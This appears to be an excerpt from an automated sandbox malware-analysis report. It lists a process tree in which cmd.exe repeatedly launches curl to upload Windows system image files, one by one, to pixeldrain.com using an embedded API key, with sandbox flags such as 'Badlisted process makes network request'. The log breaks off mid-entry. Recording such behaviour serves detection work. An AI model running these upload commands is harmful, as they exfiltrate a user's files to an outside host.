- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-125.png-07-11-2026--13.56.17.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4364
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-125.png-07-11-2026--13.56.17.png
    3⤵
    PID:236
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-150.png-07-11-2026--13.56.17.png
  2⤵
  PID:5768
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-150.png-07-11-2026--13.56.17.png
    3⤵
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-200.png-07-11-2026--13.56.17.png
  2⤵
  PID:3108
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-200.png-07-11-2026--13.56.17.png
    3⤵
    PID:6128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-400.png-07-11-2026--13.56.17.png
  2⤵
  PID:5192
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-400.png-07-11-2026--13.56.17.png
    3⤵
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.png-07-11-2026--13.56.18.png
  2⤵
  PID:1816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2792
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.png-07-11-2026--13.56.18.png
    3⤵
    PID:4360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-100.png-07-11-2026--13.56.18.png
  2⤵
  PID:2508
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-100.png-07-11-2026--13.56.18.png
    3⤵
    PID:2080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-125.png-07-11-2026--13.56.18.png
  2⤵
  PID:4752
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-125.png-07-11-2026--13.56.18.png
    3⤵
    PID:1140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-150.png-07-11-2026--13.56.19.png
  2⤵
  PID:5748
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-150.png-07-11-2026--13.56.19.png
    3⤵
    PID:3708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-200.png-07-11-2026--13.56.19.png
  2⤵
  PID:436
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-200.png-07-11-2026--13.56.19.png
    3⤵
    PID:4368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-400.png-07-11-2026--13.56.19.png
  2⤵
  PID:5584
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.scale-400.png-07-11-2026--13.56.19.png
    3⤵
    - Badlisted process makes network request
    PID:3364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TimeLanguage.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TimeLanguage.png-07-11-2026--13.56.19.png
  2⤵
  PID:1444
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TimeLanguage.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TimeLanguage.png-07-11-2026--13.56.19.png
    3⤵
    PID:424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black.png-07-11-2026--13.56.20.png
  2⤵
  PID:5112
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black.png-07-11-2026--13.56.20.png
    3⤵
    PID:1520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-100.png-07-11-2026--13.56.20.png
  2⤵
  PID:3784
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-100.png-07-11-2026--13.56.20.png
    3⤵
    PID:2892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-125.png-07-11-2026--13.56.20.png
  2⤵
  PID:2028
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-125.png-07-11-2026--13.56.20.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-150.png-07-11-2026--13.56.21.png
  2⤵
  - Executes a command shell one-liner
  PID:4788
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-150.png-07-11-2026--13.56.21.png
    3⤵
    PID:5916
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-200.png-07-11-2026--13.56.21.png
  2⤵
  PID:4756
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-200.png-07-11-2026--13.56.21.png
    3⤵
    PID:1308
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-400.png-07-11-2026--13.56.21.png
  2⤵
  PID:4232
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-black_scale-400.png-07-11-2026--13.56.21.png
    3⤵
    - Badlisted process makes network request
    PID:1104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white.png-07-11-2026--13.56.21.png
  2⤵
  PID:3676
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white.png-07-11-2026--13.56.21.png
    3⤵
    PID:5956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-100.png-07-11-2026--13.56.22.png
  2⤵
  PID:4764
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-100.png-07-11-2026--13.56.22.png
    3⤵
    PID:4220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-125.png-07-11-2026--13.56.22.png
  2⤵
  PID:1328
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-125.png-07-11-2026--13.56.22.png
    3⤵
    PID:4652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-150.png-07-11-2026--13.56.22.png
  2⤵
  PID:1008
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-150.png-07-11-2026--13.56.22.png
    3⤵
    - Badlisted process makes network request
    PID:6032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-200.png-07-11-2026--13.56.22.png
  2⤵
  PID:800
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-200.png-07-11-2026--13.56.22.png
    3⤵
    - Badlisted process makes network request
    PID:200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-400.png-07-11-2026--13.56.23.png
  2⤵
  PID:5012
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.contrast-white_scale-400.png-07-11-2026--13.56.23.png
    3⤵
    PID:5984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.png-07-11-2026--13.56.23.png
  2⤵
  PID:4868
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.png-07-11-2026--13.56.23.png
    3⤵
    PID:4480
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-100.png-07-11-2026--13.56.23.png
  2⤵
  PID:2032
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-100.png-07-11-2026--13.56.23.png
    3⤵
    PID:5104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-125.png-07-11-2026--13.56.23.png
  2⤵
  PID:2928
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-125.png-07-11-2026--13.56.23.png
    3⤵
    PID:2836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-150.png-07-11-2026--13.56.24.png
  2⤵
  PID:4980
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-150.png-07-11-2026--13.56.24.png
    3⤵
    PID:2936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-200.png-07-11-2026--13.56.24.png
  2⤵
  PID:4460
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-200.png-07-11-2026--13.56.24.png
    3⤵
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-400.png-07-11-2026--13.56.24.png
  2⤵
  PID:5680
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TinyTile.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TinyTile.scale-400.png-07-11-2026--13.56.24.png
    3⤵
    PID:4644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\UpdateRestore.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-UpdateRestore.png-07-11-2026--13.56.25.png
  2⤵
  - Executes a command shell one-liner
  PID:3340
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\UpdateRestore.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-UpdateRestore.png-07-11-2026--13.56.25.png
    3⤵
    - Badlisted process makes network request
    PID:4360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Apps.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Apps.png-07-11-2026--13.56.25.png
  2⤵
  PID:256
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Apps.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Apps.png-07-11-2026--13.56.25.png
    3⤵
    PID:3576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.AppsRtl.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.AppsRtl.png-07-11-2026--13.56.25.png
  2⤵
  PID:1500
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.AppsRtl.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.AppsRtl.png-07-11-2026--13.56.25.png
    3⤵
    PID:2912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Contact.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Contact.png-07-11-2026--13.56.25.png
  2⤵
  PID:2776
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Contact.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Contact.png-07-11-2026--13.56.25.png
    3⤵
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.DefaultPinTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.DefaultPinTile.png-07-11-2026--13.56.26.png
  2⤵
  PID:3140
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.DefaultPinTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.DefaultPinTile.png-07-11-2026--13.56.26.png
    3⤵
    PID:5600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Devices.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Devices.png-07-11-2026--13.56.26.png
  2⤵
  PID:5880
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Devices.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Devices.png-07-11-2026--13.56.26.png
    3⤵
    - Badlisted process makes network request
    PID:3364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.EaseOfAccess.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.EaseOfAccess.png-07-11-2026--13.56.26.png
  2⤵
  - Executes a command shell one-liner
  PID:4760
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.EaseOfAccess.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.EaseOfAccess.png-07-11-2026--13.56.26.png
    3⤵
    PID:2848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Extras.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Extras.png-07-11-2026--13.56.26.png
  2⤵
  PID:1580
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Extras.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Extras.png-07-11-2026--13.56.26.png
    3⤵
    PID:5452
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Gaming.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Gaming.png-07-11-2026--13.56.27.png
  2⤵
  PID:1384
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Gaming.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Gaming.png-07-11-2026--13.56.27.png
    3⤵
    PID:5660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Globe.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Globe.png-07-11-2026--13.56.27.png
  2⤵
  PID:2576
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Globe.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Globe.png-07-11-2026--13.56.27.png
    3⤵
    PID:5764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Holographic.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Holographic.png-07-11-2026--13.56.27.png
  2⤵
  PID:1320
- - C:\Windows\SysWOW64\curl.exe
